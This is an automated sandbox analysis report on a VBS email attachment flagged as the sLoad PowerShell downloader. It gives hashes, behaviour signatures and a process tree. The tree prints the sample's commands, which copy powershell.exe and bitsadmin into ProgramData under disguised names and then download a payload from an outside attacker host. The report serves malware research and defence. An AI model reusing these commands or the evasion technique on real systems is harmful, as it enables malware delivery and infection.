Analysis

  • max time kernel
    123s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    30-11-2020 14:04

General

  • Target

    Allegato_GRCPTR56P29G273X.vbs

  • Size

    6KB

  • MD5

    117b47e28ec75072e0b194c62747fe96

  • SHA1

    7a6afd4fde5ffed19dee9f039734feace7881b22

  • SHA256

    a068043f049b5b816f6880efd88254fd00603992cfaefd005813530e95d47061

  • SHA512

    ee098cb9c9a8585ecfa18be9b200523aab64b48ba5650629fd7a5d0923d0b86cae1d1e305a0ff187cde149a59f4450e5b7479da6dc415c8781f1ab3f2a253204

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_GRCPTR56P29G273X.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1424
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1764
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe
        3⤵
          PID:760
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe
          3⤵
            PID:696
        • C:\ProgramData\OsSlfIOin.exe
          "C:\ProgramData\OsSlfIOin.exe" /transfer tAdvfv /download https://estebankott.com/ordasum/GRCPTR56P29G273X/logo.jpg C:\Users\Admin\AppData\Roaming\logo.jpg
          2⤵
          • Executes dropped EXE
          PID:2000

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\OsSlfIOin.exe

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\OsSlfIOin.exe

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/696-4-0x0000000000000000-mapping.dmp

      • memory/760-3-0x0000000000000000-mapping.dmp

      • memory/1764-2-0x0000000000000000-mapping.dmp

      • memory/2000-6-0x0000000000000000-mapping.dmp